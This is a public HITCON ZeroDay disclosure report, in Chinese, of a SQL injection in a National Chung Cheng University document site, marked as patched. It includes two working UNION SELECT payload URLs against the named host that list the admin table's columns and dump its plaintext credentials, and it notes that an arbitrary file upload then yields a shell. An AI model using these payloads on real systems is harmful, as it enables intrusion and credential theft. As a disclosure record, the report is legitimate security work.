Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2017-01042
- Vendor: 國立中正大學
- Title: 國立中正大學秘書室文書組存在MySQL注入漏洞且可任意上傳文件成功get shell
- Introduction: MySQL 注入漏洞
處理狀態
目前狀態
公開
Last Update : 2017/11/24
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2017/11/12 16:39:56 : 新提交 (由 taroballz 更新此狀態)
- 2017/11/13 01:12:57 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/11/17 09:50:48 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/11/17 09:50:48 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/11/20 16:23:09 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/11/20 16:25:20 : 確認已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/11/24 03:00:16 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2017-01042
- 通報者:curtis992250 (taroballz)
- 風險:中
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://document.ccu.edu.tw/Document/index.php?page=ann&indexnum=664
敘述
其indexnum參數存在注入
可任意查詢資料 且後台帳號密碼為明文密碼
因此拿到帳號密碼可直接登入後台
payload:https://document.ccu.edu.tw/Document/index.php?page=ann&indexnum=-664 +UNION+ALL+SELECT+1,2,user(),4,database(),6,7,8,group_concat(column_name) from information_schema.columns where table_name = 0x61646d696e
可直接查看數據庫裡admin表中的列
paylaod:https://document.ccu.edu.tw/Document/index.php?page=ann&indexnum=-664 +UNION+ALL+SELECT+1,2,user(),4,database(),6,7,8,group_concat(account,0x7e,password,0x7e) from admin
暴露帳號密碼 使用~ (0x7e) 做區分
可登入後台 且存在任意文件上傳 可直接獲得網站權限
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。